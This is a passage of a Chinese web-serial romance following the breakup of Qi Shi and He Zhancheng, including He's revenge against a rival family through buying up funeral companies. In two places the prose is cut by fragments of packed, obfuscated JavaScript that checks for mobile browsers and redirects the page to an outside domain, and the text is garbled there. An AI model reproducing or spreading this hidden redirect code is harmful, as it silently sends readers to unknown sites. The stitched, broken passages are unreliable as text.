他的程儿……何湛程,每一次语气冷漠地跟他讲话,就变得不再可爱。 这个人分明躺在他身下,姿态却无比居高临下,一句连着一句诛心之言,听得他心梗又委屈,可等他慌里慌张地低下头,穿上衣服想要逃走的时候,一瞥之下,他意识到自己都对人家做了什么,立刻又万分抱歉起来。 戚时满心愧疚地将他伤痕累累的程儿抱起,搂在怀里轻轻地吻,难过又无力地对人解释着:“湛程,我没有,我真的没有……我就是太喜欢你了,我真的太喜欢你了……你刚才那么主动,我才对你……” 何湛程疲惫地闭了闭眼。 或许戚时是对的,但他已经厌倦听解释了。 “湛程,”戚时见他不耐烦,忙道,“我今天就把你二哥的飞机还回去,我再不要你家里人的任何东西了,我只要你,行吗?” “只要你别走,湛程……”戚时微微晃他几下,恳求道,“你理理我,湛程,你看我一眼……” 何湛程被晃得腰酸背痛的,忍不住皱起眉:“你好烦啊!” “湛程,对不起……”戚时不知何时流了泪,手足无措着,又因为舍不得松手而紧紧抱着他,埋脸与他额头相抵:“湛程,对不起,对不起,我不晃了……你别生气,别生气……你骂我什么都好,打我也好,你别离开我……都是我不好,是我配不上你……都是我贪心……湛程……我真的很喜欢你……你也喜欢我好不好……” 何湛程缓缓偏过头,一字一顿道:“别、他、妈、碰、我。” 戚时抬手一擦眼,抱着他使劲摇头:“不要。” 何湛程头痛欲裂,他快要被人给挤压碎了,无奈妥协道:“我知道了!我没说要跟你分手!” 戚时愣了下,缓了半天,眨眼看他:“真的?” 何湛程呵斥他一句:“还不快给本少爷松手!!” 戚时连忙松手,托着他肩膀,将他仔细放回床上,又好好给他盖上被子,然后侧躺在他旁边,吸吸鼻子,红着眼眶,一动不动地守着他。 好一张俊美无俦惹人心怜的帅脸。 何湛程现在看见这张脸就烦。 他费力转过身,甩给对方一个脊背,闭眼说:“休息吧,你待会还要上班,但是别再碰我了。” “嗯……”身后人嘴上应着,身体却仍贴过来,像鸟归林栖息一样,很自然地将整个毛绒绒的头都埋在他后颈,找到一个舒服的位置,依恋地蹭了两下,然后慢慢安静下来。 当初暧昧期的时候,每一次事后,他背转过身准备睡觉,戚时都会默默依偎过来,对他做这样的亲密动作。 何湛程心中顿时感到一阵人生反复循环的无趣与乏味。 是因为太过熟悉了吗?恋爱谈到这个份上,连血脉都深植在彼此的体内,现在的戚时早已不是他最初认识的戚时,那他呢?他还爱这样一个动辄就给他增添许多烦恼、令他心绪饱受折磨、却又实在难舍难离的人吗? 他的确很爱这个大傻瓜,可他何湛程什么时候在一段关系里委曲求全到这种地步? 他们两个现在,戚时不是戚时,何湛程也不是何湛程。 “二哥。”他闭着眼,突然叫一声身后人。 身后人似乎被这一声称呼打动了,立刻伸出手臂,姿态亲昵地抱住他腰,下巴垫在他裸露的右肩,撒娇一般,低声应道:“嗯,你说。” 他说:“我想去旅行。” 身后人亲吻着他肩膀,说:“行,我过两天把工作辞了,你想去哪儿,我陪你。” 他拒绝:“我想自己一个人去。” 身后人沉默半晌,问:“那你还回来吗?” 他轻轻点了下头:“回来。” 又是好长一段时间的沉默。 窗外晨风沙沙,绿藤遮光,偌大主卧内,床褥凌乱不堪,漫长的无言,何湛程感觉身子凉下来了,他在人怀里安静待了会儿,以为戚时睡着了,开始抽身子出来。 “程儿。” 身后人倏地收紧手臂,将他箍紧在怀里。 “嗯。”他无奈应了声,又老实待了回去。 “我说了,”身后人认真解释,“我会把飞机还回去的。” “我知道。”他说。 其实这些已经不重要了。 在主动提出和他交往的同一天就跑去会所泡鸭子、明明知道他带他去接吻巷意味着什么,却无比随意地因一时喜怒不耐烦就拉着他要走人,嘴上说着爱他愿意为他付出一切,可在回纽约的事上不肯为他让步一点,轻蔑的态度,狂妄又自大,却在一个人品低劣的中年妇女面前怯弱卑微、礼让有加,没经过他同意就自作主张把他掳回国、背着他和暧昧对象偷偷见面、拿着他甘愿为爱献出的第一次,背地里和何棣坤开玩笑打赌换飞机,每一件事,每一件事……都不重要了。 他就是很单纯的,烦了。 61.第61章 何湛程搬走了,这栋完全按照少爷的审美、耗时近两个月半重新装修好的、兼具艺术性与奢华格调的“我们的家”,从此就剩下了一人一狗。 不,还有关于某个人的回忆,以及一场意犹未尽的梦。 裸露的、淫靡的、欲望疯涨的、处处回响着年轻人欢笑的、充满罗曼蒂克、又迅速消亡的,一场不切实际的梦。 戚时知道这一天早晚会到来,他只是没想到这一天会来这么快,但何湛程说他们没分手,他便也就每天翘首以盼,耐心等待着他的爱人旅行结束后回来找他。 何湛程三分之二的配饰衣服和鞋都没带走,戚时就更加坚信那个人会回来,虽然留下的这些东西全都是他给买的,什么名表珠宝胸针项链香水、最新季奢侈品时装和私人订制情侣装、只有他的程儿穿上才时尚又好看的红色帆布鞋、占据四个收纳层的性感内裤,这些东西塞满了整个衣帽间,何湛程平时每天醒来,打着哈欠光着身子都走进里面随心挑选,戚时不相信那个人会舍得真的扔掉。 即便偶尔会觉得厌倦,也不可能说丢掉就丢掉。 戚时是这么想的,于是何湛程离开后的第二周,他就忍不住和那个快要人间蒸发掉的、整整七天不主动和自己联系的人发消息,问候早午晚安,找各种理由骚扰对方。 早上时候,他会发一句“早安,小懒猪,在做什么”,对方偶尔回一句“早上好”,但除非何湛程熬通宵,否则早上消息大多时候不回。 戚时也没敢问对方通宵都是在做什么、和谁在一起,那人还肯和自己解释一句“昨晚没睡,我先休息了”,这就已经很好了。 中午时候,他会给对方发自己的减脂餐,在总裁办的办公桌上,那个何湛程最初坐在上面勾引他的地方,他发过去一张满是鸡胸肉牛肉条西蓝花紫甘蓝的食物照。 他平时要吃三盒才能吃饱,最近没胃口,只秘书给他准备一盒,一旦何湛程回复说“太少了,多吃点吧”,他第二天就跑下楼,随便选家中餐厅点四五道菜,再吃两大碗米饭,拍照告诉对方“我今天听话了,吃了很多碳水,晚上估计要在跑步机上运动两小时才能消耗掉”,何湛程大概率会回复他一个【嗯嗯】或者【加油】的表情包,然后对话结束。 晚上时候,他大多数在会所、酒吧、KTV这些地方应酬,不敢给人拍照片,只有等快凌晨回家,他洗漱过后,给对方发过去一条“程儿,能视频吗”,何湛程虽然对他态度冷淡,但每一次都会接通,戚时心里那一簇燃着希望的小火苗也就不曾熄灭过。 可每一次,对方视频的背景只有固定几个地方:卧房角落的绿色单人沙发、灯光明亮、堆满英文书籍和好几台电脑笔记本iPad打印机的偌大书房、宽敞客厅铺着米色亚麻桌布摆着咖啡的餐桌前,偶尔阳光和煦,微风吹拂,那人一身宽松T恤和家居裤,趿拉着拖鞋,抱着小摞资料书靠在种满鲜花与风铃飘荡的露台躺椅上,和他有一搭没一搭地聊天。 不像在旅行途中的酒店,倒像是在哪个高档小区的住所。 戚时心里有点慌,知道所谓的“旅行”只是对方想要摆脱自己的谎言。 可他明知如此,又不敢问何湛程是不是准备回纽约上学了。 他怕这辈子已经定型的自己,配不上那样一个聪敏睿智、年轻又前途无量的程儿。 更怕那个人给出确切的回复,他就彻底没了再打扰对方的理由。 他们隔着屏幕,更像是隔着一层即将要戳破的窗户纸,相顾无言。 戚时努力找话题,大到国际局势,小到吃喝拉撒,连果汁儿一天拉几次屎都要跟人讲,何湛程就总用一种分明看透、又懒得揭穿的含笑眼神陪着他一起演。 有时,何湛程会很认真地看着他,说他瘦了,然后像个久违的老朋友,关切地嘱咐让他多吃饭,有时态度又很随意,开玩笑般问他最近交新男朋友了没啊,提醒他下次再搞对象一定要对人家好点儿,别再拿床上那点儿破事去打赌了,真的很没品。 戚时每次听到这种话,心脏犹如被人拿刀狠狠地剜着,追悔莫及,又百口莫辩,除了陷入无止境的委屈与自责,只剩满喉腔的酸涩。 何湛程问他交新男朋友了吗,这就意味着,旧的男朋友已经分手了。 但是何湛程没明说,他还可以继续装傻充愣。 他也半开玩笑着回应,说:“没有呢,我还惦记着你呢,你啥时候再回来住啊?你不在家,我晚上都睡不着了。” 何湛程也笑,说:“看心情吧,我也有点想你呢。” 三分本性|爱撩拨,七分暧昧真假难辨,他们仿佛又回到了最初的最初,就这样你来我往地再度交锋,谁也不肯低头。 本来戚时是准备先低头的。 这么多天,他先前拍得那几带子录像都快盘出浆了,晚上独守空房,盖着被子,眼睛一眨不眨地望着窗外的大圆月亮,吸着鼻子红着眼眶,不断回想着少爷陪在他身边的点点滴滴,凌晨三点半,想少爷想得实在受不了,闷头缩在黑漆漆的被窝里,一边默默流眼泪,一边给人家发八百字小作文,问少爷什么时候回来啊,他好想他啊,他真的快要撑不住了。 发完,等待个七八秒,某个自称每晚熬通宵的少爷毫无反应,他又抬手擦干眼泪,恢复一个成熟稳重男人应有的理智与矜持,沉下眼眸,果断将小作文撤回,关掉手机,闭眼睡觉。 然后第二天夜里又继续编辑新的小作文、继续发、继续撤回、继续关手机、强迫自己赶紧入睡,不要去后悔那些有的没的。 但后来经过几次视频电话,戚时学聪明了,和何湛程聊天时,强迫自己将注意力从少爷最近愈发长开的帅脸上转移到背景建筑物,通过观察对方住所露台周遭的景物,他很快认出那是燕大附近某个据说知识分子扎堆聚集、居民人均高素质高涵养的“春景公园”。 戚时开车不止一次路过那里,但他在里面没熟人,进不去,于是给经营房地产生意的合作伙伴——陈北劲打电话,让陈北劲赶紧联系个谁,想个法子给他弄进去。 戚时方向感不错,只要人能进去,他只需要开车在里面转个两三圈,就能精准找到他家喜欢到处乱窜的小程老鼠住哪栋楼、哪一层。 然后将人逮住狠狠亲死。 陈北劲之前跟他不打不相识,算是损友,听完他要求,直言不讳,笑问他一个没文化的大老粗,跑去春景公园是要拜访哪位教授大师啊? 陈北劲关怀道:“你什么时候弃武从文的?我怎么不知道?” 戚时呵呵:“你懂个屁,老子是要进去抓老鼠!” 陈北劲诧异:“什么抓老鼠?你最近又改行了?人家都在小区卖蟑螂药,你卖老鼠药?” 戚时懒得理他这茬,更不想跟他解释。 陈北劲也是个世家子弟,上头有个管束他极其严格的女强人老妈,国外还有个财力雄厚、做进出口贸易的老爸,陈北劲从小就被按照家族继承人的方式培养,是一个标准工业化流水线制造出的精英领袖。 虽然陈北劲和何湛程的内在相差无几——一个利益至上的冷血动物,但就像何湛程说的,陈北劲是个外在完美到令人挑不出丝毫瑕疵的体面人,向来看不惯何湛程这个喜欢惹是生非的表弟,同样的,何湛程在整个家族,除了叔伯家那几个年轻的堂兄弟,他也就和林翘楚这一个表姐玩得好,对陈北劲这些死板一条的男继承人们也不太放在眼里。 何湛程之前跟戚时说,林翘楚愿意跟他玩儿,是因为他从小就长得好看,很会卖乖,还会攒零花钱给姐姐买新裙子和珠宝项链,而家族里那些男性继承人们,比起让一个乖顺懂事的弟弟和他们平起平坐,他们更喜欢让何湛程识相地扮演一个非继承人角色—— 四个字:安分守己。 既不可以抢走他们嫡长子的特权,更不可以为了博取关注,故意做一些不可理喻的疯事令家族蒙羞。 偏巧,几道雷区何湛程都踩了,还踩得噼里啪啦的,那一帮体面人自然而然就都群起而攻之了。 戚时当然是无条件站在何湛程这一边的。 他觉得,他家程儿的好一般人都看不出来,那是陈北劲这些体面人的损失,这样最好。 除了自己,全世界的人都不要喜欢何湛程,这样没人爱的程儿就会乖乖地回到自己身边,只被他一个人好好的疼惜。 陈北劲在春景公园有房产,找来个管家帮他进小区,戚时车子正要发动,刘毅的短信就发来了。 刘毅在上月中旬就去了德国,当时发来一条“我到了,你派来的人都很好,谢谢”,他嘱咐了句“好好休息”,俩人都很默契地没再继续聊。 那天在李秀芳家,戚时是看到程儿一个劲儿吃醋,才猛地反应过来,刘毅似乎对自己有点……喜欢? 曾经无话不谈的好哥们,现在知晓真相后变得突然无感起来,甚至连曾经的情谊都淡了几分。 戚时在某一瞬间也察觉到自己的变化。 他不知何时将自己划分为“何湛程的所有物”了。 他是一心向着他家程儿的,谁敢觊觎程儿的东西,他就要不客气地抢回来,再好好地放回去。 包括他自己。 但刘毅给他发的那条短信是正经事,他就把车先停在小区外,先回复的刘毅。 短信内容大概说得是他们老家县城要盖新学校,地方圈的就是刘勇下葬的那片坟场,上面派人挨家挨户地谈,给出的赔偿金很可观,李秀芳基本没怎么考虑就在合同上签字了,但从这里开始就有问题了—— 李秀芳发了笔小财,准备将刘勇的坟迁去需要花钱才能办理入住的城市墓地。 他们县也就只剩下那一块墓地了,不想买也得买,可是李秀芳在签合同时,园区经理翻阅完受理人的资料,突然临时反悔,说,卖不了。 李秀芳纳闷为啥卖不了,园区经理抱歉一笑,说,刘先生的生辰八字和我们“生命之家”墓园犯冲,如果葬在这里,会影响其他顾客的风水,因此无论出价多高,我们都不予接纳。 李秀芳要求不高,说,那就挑个犄角旮旯的墓,挨着公厕都无所谓,只要能给刘勇安排个归宿,随便葬在哪里都好,园区经理仍旧态度坚决,拒不接纳。 风水玄学这一套,但凡是个中国人,多少都要信些的,虽然李秀芳不懂,但听人家说得这么玄乎,一副很有原则和职业操守的样子,她也就没再坚持。 但刘勇的骨灰盒必须要安家! 李秀芳不想每天把这晦气东西放在家里,尤其儿子出国了,家里就剩她一个人,她成天和一个死人待在那么大、那么空荡的别墅里,她会做噩梦的! 李秀芳好歹是个资历颇深的年级主任,动了点人脉,打听到市里有几个价格合适的墓园,提着包、抱着骨灰盒,天天开车在县城和市里往返折腾,红包也递了、礼物也送了,该请的饭一顿没落,就为了求人家收留收留她这个据说八字和墓园犯冲的亡夫,但每一次,她正要和对方公司签合同的时候,对方看完受理人资料,立刻就变脸要反悔。 李秀芳很快就意识到她是被人给整了。 但显然,对方真正要整的人是刘勇,她不禁阴|谋论起来,说刘勇出车祸肯定也是让那个人给害死的! 李秀芳疯疯癫癫的,断言刘勇生前一定是得罪了哪位达官贵人,可那人现在隐身在幕后,看不见摸不着的,她连道歉求情都不知道找谁去。 她资源有限,唯一的救命稻草就是戚时了,可戚时答应帮她照顾儿子的后半生,这就已经是要跟她恩断义绝的意思了,于是她就给刘毅打电话,让刘毅快去找戚时,再让戚时赶紧帮她把这事儿摆平了。 刘毅告诉戚时,不止本县、本市,隔壁县、隔壁市,甚至隔壁省,几乎所有的殡葬公司和墓园产业都拒绝接收刘勇,甚至李秀芳偷偷又跑去荒地坟场想把刘勇给重新埋回去,这都被巡夜的人员及时发现,态度强硬地勒令她立刻离开。 这根本就是要把人逼死的节奏。 刘毅给戚时发了好长一段话,条理清晰地解释前因后果,不住口地对他声称抱歉,说没想到他爸都故去了,他们一家还要打扰戚时的生活,但真要李秀芳把骨灰埋在自家别墅后院里,这对她来说实在是一种折磨,刘毅不忍心看着他妈神经继续衰弱下去,就厚着脸皮来求戚时了。 刘毅的意思是,想请戚时出面,找个说话管事儿的,无论在哪儿都好,只要能人刘勇落地安顿下来就行。 戚时当时坐在车里,一个劲儿地揉眉心。 从听到“迁坟场、盖学校”那里,他就知道这事是谁的手笔。 好一场赶尽杀绝的好戏。 心里无比庆幸刘毅不知道何湛程当初去县城的目的,否则他戚老二光明磊落一世,这辈子都要在人家面前抬不起头来! 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15628771|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如果是李秀芳来求,戚时大概率会推辞她,万年不变的借口:“出差去了”、“手机信号不好,没看见消息”、“最近换手机号了,旧的不用了”……反正,他在她眼里就是一个无赖混混,他也不屑做什么正人君子。 但在刘毅面前,戚时多少还是要给自己留几分体面。 体面。 人活一世,不就为这两个字吗? 戚时心中微微叹息。 他停车侯在小区门口,手指搭着方向盘,另一手打电话给何湛程。 对方隔了好半天才接。 一个有严重起床气的暴躁狂,被他电话吵醒后,带着浓重的鼻音,咕哝着问:“二哥,怎么了?” 戚时登时就心软得一塌糊涂,恨不得隔着无线逮住人狠狠亲两口!管他什么刘毅还是李毅,管他什么孤魂野鬼还是疯癫老母,他只想找到他的乖兔崽儿,给人铺八十床鸭羽绒被子,把他家高高在上的小皇帝给供起来,然后命令谁也不能打扰他家程皇帝的好梦! 戚时蹙起眉头,说:“你先醒醒盹,喝口水,看你嗓子都哑成什么了,昨夜又喝酒了?” 何湛程嗓音沙哑着“唔”了一声,没否认也没承认,说:“你起这么早啊。” 戚时:“房间里放加湿器了吗?” 何湛程:“放了,你吃早饭了吗?” 戚时:“吃了,你是不是感冒了?” 何湛程:“没,就是这两天有点咳嗽,你呢,你最近新交男朋友了吗?” 戚时不禁着急起来:“那不就是感冒了吗?你不是说身边带着管家和助理呢么,他们就是这么照顾你的?还有你,最近天气一冷一热的,又下暴雨又下冰雹,你本身就容易感冒,还喝酒?!” 何湛迷迷糊糊:“你嗓门太大了,听得我头疼,有事吗,没事我挂了。” 戚时忙说:“等一下,有事!有事的!我有重要的事找你!” 电话那边,何湛程咳嗽几声,问:“怎么了?” 戚时顿了顿,问:“你是不是把我老家那边所有的殡葬公司都收购了?” 虽然他不是很在乎刘勇埋在哪,但心里无比清楚,即便他找到何湛程住哪,他天性爱自由的程儿也不愿意见他。 他养得金丝雀被束缚得太紧了,人家要飞走,他舍不得,又不得不松手,只好趁机找一个说得过去的借口,重新再在他们之间系上一根绳。 没料何湛程冷笑一声:“刘毅那小子找你告状了?” 戚时从这话听出浓重的酸意,连忙解释:“他就认识我一个人,不找我找谁?” 何湛程答得傲慢:“我在县城给他留了十来个我的人,他有他们所有人的电话和微信,眼下遇到问题了,他放着近处的专业团队不找,偏偏找你这个远在京城的外行人帮忙,你敢说他没点儿私心?” 戚时心里咯噔一声,问:“你什么意思?他知道你当初去县城干什么了?!” 何湛程笑得阴冷,沙哑的嗓音透着几分令人毛骨悚然的甜腻:“对呀,我告诉过他了,我要帮你们盖学校呀!” “诶,你不知道吧,他当时还谢谢我呢!” 一句不负责的话蹦蹦跳跳着出来,戚时头顶如浇一盆冷水,整个心都在寒到了底。 在李秀芳家的时候,他和何湛程什么关系早已是有目共睹,现在何湛程背地里搞这些上不得台面的阴谋诡计,刘毅分明知道谁是幕后主使,还发了一堆抱歉的话求他帮忙,这哪里是对他有私心,这分明是求他和何湛程高抬贵手,放过他们刘家!! 刘毅一个半残废人,漂洋过海,无依无靠,只因自己一时兴起的提议,甘愿听他的话被送出国,如今身在异乡,寄人篱下,一边接受着他的帮助、满心怀地对他感恩戴德,另一边又不断接到远在老家的母亲快要被何湛程折磨疯了的电话,刘毅心里该是何等的憋屈郁闷? 即便嘴上不说,可人家心里又该怎么想他戚老二?!又怎么想何湛程!! 说不准,刘毅还会以为自己是故意把他支走,然后联合起何湛程一块儿报复他父母。 掌心攥得方向盘咯吱响,戚时只感觉头上淋着一盆又一盆的脏水,气得胸膛起伏。 他忍着怒意,冲人命令道:“我给你半天时间,你立刻把你那些胡闹的指示全部收回!这事我当没发生过,刘毅那边我去说,以前那些事儿,我早就翻篇了,也用不着你再插手管!” 一段长达两分钟的沉默。 最终对方忍不住剧烈咳嗽起来。 何湛程哑声道:“我都是为了你,你却因为那些无关紧要的外人,这么凶我。” 戚时气得一笑:“为了我?你很在乎我吗?” “如果你在乎我,你就不会离开我。” 话到这里,眼泪毫无征兆地掉落下来,他浑身泄了气,无力地埋头趴在方向盘上,哭得肩膀一颤一颤的。 他突然觉得自己像一只摇尾乞怜的狗。 他追求着,挽留着,深陷与沉沦着,将近两个月的分离,他日里夜里,没脸没皮没尊严地缠着在一个小自己整整七岁的小男孩儿,人家越对他态度冷淡,他就越卖力地嘘寒问暖献殷勤,人家轻飘飘一句话,他就被迷得找不着北。 “何湛程——” 戚时咽了咽酸涩的喉咙,低头重重地抹了把脸,试图令自己的声音恢复正常些。 “我就问你一句,我们现在到底是什么关系?” “什么关系?”何湛程哑着嗓子冷笑起来,“我们有关系吗?朝三暮四,狼心狗肺,干的事一件比一件不是人事,你还好意思跑来指责我?” “不过才花点小钱、说几句甜言蜜语,你就以为你是什么不可替代的人了么?” “戚时,”他不屑地嘲笑道,“实话告诉你,跟本少爷睡过的人,十个有九个都比你深情,你以为你这种小脑萎缩心智不全的大龄剩男是什么珍惜品种?要不是还惦记着你这张脸,你当本少爷还愿意接你的电话?” 一颗尚存百分之一期待的心,顷刻被撕裂成了碎片。 戚时缓缓抬起头,盯着后视镜里哭得满脸泪痕的陌生人,眼神一点点变得阴鸷起来,重新笑成自己的样子。 “行,随便!” 他笑声爽朗,笑得额头青筋暴起,恶狠狠地攥着手机,几乎将电话屏捏碎: “那你就接着和别人睡去好了,老子才不在乎!” 62.第62章 管家小心翼翼地推开卧室房门,漆木托盘里端着两个新鲜的培根蔬菜鸡蛋三明治、一杯黑咖啡、几块晶莹的方糖—— 其实他应该拿酒,最好是伏特加或者威士忌,为何家服务多年,他再清楚不过这位刁蛮任性小少爷的脾气,这也是为什么他端来的是两个简式三明治,而不是一份正式的早餐。 因为这份喷香的早餐,等下大概率会被小少爷扔进垃圾桶里。 了解归了解,少爷本身就在重感冒,昨夜高烧刚退了,现在再喝烈酒那还得了? 管家脚下步履从容,皮鞋踩过一地狼藉废墟,擦肩而过两个正拿着笤帚清扫房间的女佣,登上三步弧线设计成波浪纹的白玉大理石台阶,将早餐轻轻地放到少爷右手边的矮木桌上。 少爷瘫在沙发上,两眼无神地发着呆,歪着身子,仪态懒散,很有几分清心寡欲的样子。 他拥有一副高大精悍的完美身躯,黄金肩宽比,劲瘦窄腰逆天长腿,只穿一件薄薄的真丝睡袍,敞着沟壑纵横的胸怀,一双白净裸脚踩在灰羊绒地毯里,安静起来,宛若一尊通体散发着寒意的晶莹冷白玉像。 他只是单纯坐在那里,就能令人对他心生无限的怜惜与保护欲。 台阶下,是他刚才骤然狂怒摔了一地的掐丝珐琅花瓶碎片、成套描金的水晶玻璃杯残渣、淋漓了一地猩红的葡萄酒液、和连芯片都不知道崩到哪里去的、被五马分尸的手机碎块。 以及,被砸出冰花纹裂痕的地板、被大力扯掉的暗红丝绒遮光窗帘、被掀翻在地的书桌、踹得东倒西歪的欧式座椅、天花板上被飞溅酒瓶玻璃片戳破的卧室主灯罩、漫天乱飞的鸭绒枕芯。 两个来打扫的女佣也是他们自家人,她们对这般疯狂的场景早已司空见惯,因此收拾起来也很有一套娴熟流程。 何湛程闻到培根煎蛋的香味,渐渐回神,颤着肩膀咳嗽了声,扭头瞥一眼桌上的早餐。 “消气了就先吃饭吧。”管家温言劝。 “咚”的一声! 何湛程抄手抓起三明治就摔进了垃圾桶。 三米之距,精准中标。 连续扯了几张纸巾,他低头擦着沾在手上的花生酱。 “三明治这种从做出来就应该拿去喂狗的垃圾,以后别再拿给我吃。” “知道了。”管家无奈一笑,说:“我还让厨师煮了营养粥,炒了点青菜,你歇好了,出来多少吃点儿吧。” 何湛程病恹恹地别过头,濛濛的视线望向透亮的窗外,一轮红日正悬在万里无云的晴空,刺目的光芒照耀在他苍白的脸上。 何湛程眯了眯眼。 戚时刚才在电话里说得那句“那你就接着和别人睡去好了”,仍在心底回荡着余音。 “云叔。”他眺望着远方,淡淡叫了一声身后人。 “是手机吗?”云叔赶忙道:“放心,我已经派小张去买了,最多再有半小时他就回来了。” 何湛程点点头,说:“还有,之前收购的那些殡葬公司,你也让他紧急处理一下。” 云叔张了张嘴,又安分地闭上,对人轻轻“嗯”了一声。 他站在沙发扶手旁边,望着少爷变得索然无趣起来的脸色,心下已经明白了七八分。 先前沪上来得那帮精英律师团,他们是来春景公园这边会合的,少爷一向有做东道主的自觉,当晚带着家里家外二十来个人,订了京城最有名的饭店包厢下馆子,同行的还有一个叫唐丽媛的女商人,当晚在酒桌上也很会来事儿,长袖善舞热情豪爽,结交起权贵来很有一套。 云叔比那伙人来得要更早,他在少爷回国第一天就接到何老大的吩咐,立刻带着一帮人开着少爷的几辆豪车,马不停蹄地赶过来帮少爷打理他的新住所。 因此,关于何湛程与擎荣集团戚总裁之间的事,云叔是比较了解的。 何湛程也从没瞒过他们。 那段日子—— 小少爷恋爱的日子,云叔的小日子过得是比较安逸的,每天晚起早睡,喝茶遛弯下棋晒太阳,偶尔给下面人发点福利,只要混世魔王不在,大伙儿任务量减轻了一大半,隔三差五出去聚个餐、短途旅个游,别提有多开心了! 何湛程一直住在戚总裁那边,偶尔回来一趟,也是去燕京大学和那帮校领导们走动,即便回家,也很少在晚上住下,他要么是来这边换车,或者是找小张当司机出去应酬,三少虽然在沪上有自己的势力圈子,但在京城知之者甚少,少爷素来跋扈嚣张,无论在哪儿,都必须要成为人群中最有帅、最有派头的闪亮主角。 那阵子,小少爷整天打扮得青春靓丽的,每次离开之前,戴着一副墨镜,酷酷地坐在车里,扭头冲他招手:“云叔,我去我男朋友那边了,不要想我哦,拜拜!” 这位折腾死人不偿命的混世魔王突然软萌得跟块云朵蛋糕似的,甜得他刚镶好的假牙都要腻得掉地上了。 和律师团聚会的那一晚饭桌上,何湛程坐在首席,对他们放了话,说他们即将要去县城都做什么事,云叔和成律师他们这些人就都觉得不太合适。 捐学校,OK; 为了捐学校铲一片坟地,但有赔偿金,也OK; 但是派另一波人在短短半个月内花大价钱收购这么多家殡葬公司,就为了跟一个死人渣较劲儿,一帮老头子摇头甩肩“No!No!No!”了大半天,最终也没能劝动他们少爷。 云叔当时就预料到,少爷势必会因为这事儿和戚总裁吵一架。 这下好了,俩人刚闹分手第一天,少爷就恨不得把家给拆了,再过个两三天,他们如果还不和好,这头魔王岂不要把地球给引爆了? 而且,这甚至都不是少爷自己的家,这是人家佟校长好意借给他们暂住的房子! 少爷好意思拆人家房子,他都不好意思去找何老大去报账。 果真娇生惯养的千金少爷,一切都来得那么容易,今早霹雳乓啷闹这么一出,四五百万就这么化成渣渣了。 这还不算,他们住得大平层,楼上楼下住得都是退休的老教授、艺术家、作家……好多都是神经容易衰弱的老人家,今早他接到至少有四户居民的激烈投诉,导致刚才坐电梯各种低头遮脸,生怕人家认出他来自“混蛋的18层噪音制造者”。 云叔觉得,他们何家人一直以来都住庄园,那的确是有住庄园的道理。 之前何老大把何湛程撵来京城,谁也没想到少爷会离开这么长时间,少爷一走,整个家清净得仿佛置身另一个宇宙,一帮家人幸福得简直要哭出来了。 云叔现在只盼望着,戚总裁快来吧,快来把他们少爷接走吧,他云老头也是一把年纪了,天天跟这位分明生了病、还破坏力十足的魔王住在一起,他真的要受不了了。 何湛程似乎也坐累了。 女佣收拾好屋子,何湛程拢着睡袍站起身,漫步走去衣帽间,头也不回地吩咐道: “我扔在戚老二那边的沉香珠子没拿回来,你亲自去拿。” 云叔心中讶然,不懂少爷只是谈场恋爱,怎么还把命根子谈出去了? “我现在就去。”云叔急哄哄就要走。 “还有一件事。” 衣帽间传来一阵咳嗽声,里面人嗓音沙哑地交代:“燕大不上了,等我病好后去一趟学校,给佟老头他们打过招呼,下个月我回纽约。” “你派人把我在曼哈顿的房子打扫出来,不该出现的人,一个都不要让我看见。” 云叔“啊”一声。 平心而论,他和何老大的想法是一样的—— 不,是除了何太太,他们整个何家的人都认为三少只有在戚总裁身边才是最令人安生的。 于是试图挽留:“这样是不是太决绝了?您和戚总毕竟都这么长日子了,你们吵架归吵架,您突然要走这么远,他连挽留的余地都没有。” “而且,您之前不是决心在燕大读书,还说要等开学后给戚总一个惊喜吗?就这样前功尽弃,太不划算了吧?” “呵!”里面人气得剧烈咳嗽起来,肺管喘得一阵一阵的:“他、他挽留个屁!” “如果他敢挽留,他就不算个男人!我早他妈受够了他那副畏手畏脚的窝囊怂样!” “如果他不挽留——” 里面人忽地一顿,沉默半晌。 接着,冷笑声传出:“如果他不挽留,本少爷为什么还要跟一个根本不在乎我的畜生好?” 云叔叹息一声:“我知道了。” 里面人再次提醒:“给曼哈顿那边的人都交代下去,以后没经过我允许,谁都不能再出现在我的房子里。” 云叔点头:“好。” 心中是微微诧异的。 他家少爷在哥大念书时,交往情人无数,什么好莱坞的明星、VOGUE的模特、英国的小伯爵、法国奢侈品界大家族的贵公子……多到连少爷自己都记不清谁是谁。 尤其是那帮喜欢勾三搭四的明星模特,成群结伴、呼朋唤友,每晚上回少爷的别墅犹如回自己家,夜夜笙歌醉生梦死,表面都是少爷的情人,背地里彼此打得火热,着实淫|乱不堪。 后来少爷回国,扔在曼哈顿的房子彻底成为那帮人的狂欢之地,在那边的管家来电话,问少爷是否要将他们驱赶出去,少爷回复的是:“随你便,但有几个我比较喜欢的,你态度客气点儿。” 管家拿出本子,低头做笔记,问:“好的,他们分别是哪几位?” 少爷挠着下巴想了大半天。 最后说:“忘了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这算什么?是他太老了跟不上时代了吗?这俩人都分手了,这祖宗就这么明目张胆地跑去前任开的会所里撩男逗女,这不是赤裸裸的挑衅吗? “那咋啦?我刚充了两百万,现在是他家的SVIP,我去照顾那穷小子生意,没通知他跪候就不错了,他敢找我麻烦试试呢?” 何湛程不以为然地撂下筷子,举起小镜子臭美,笑眼荡漾地拨弄着自己的刘海,说:“上次参加燕大的校友会,我丢给你的那些名片,里面是不是有个叫李天涯的?” 云叔愣了下,说:“对,但他来头太大,咱们惹不起,您可别——” “来头大才好呢,”何湛程左右偏着脸,照着镜子沉迷于自我欣赏,说,“我就喜欢去惹那种来头大的人,那多好玩呀。” 云叔无奈叹一声。 这祖宗好容易消停大半年,这一分手,就又开始野了。 何湛程随口吩咐道:“你打电话告诉李天涯,说我生病了,正在床上躺着呢,问他有没有好的医生,派个人过来给我打针。” 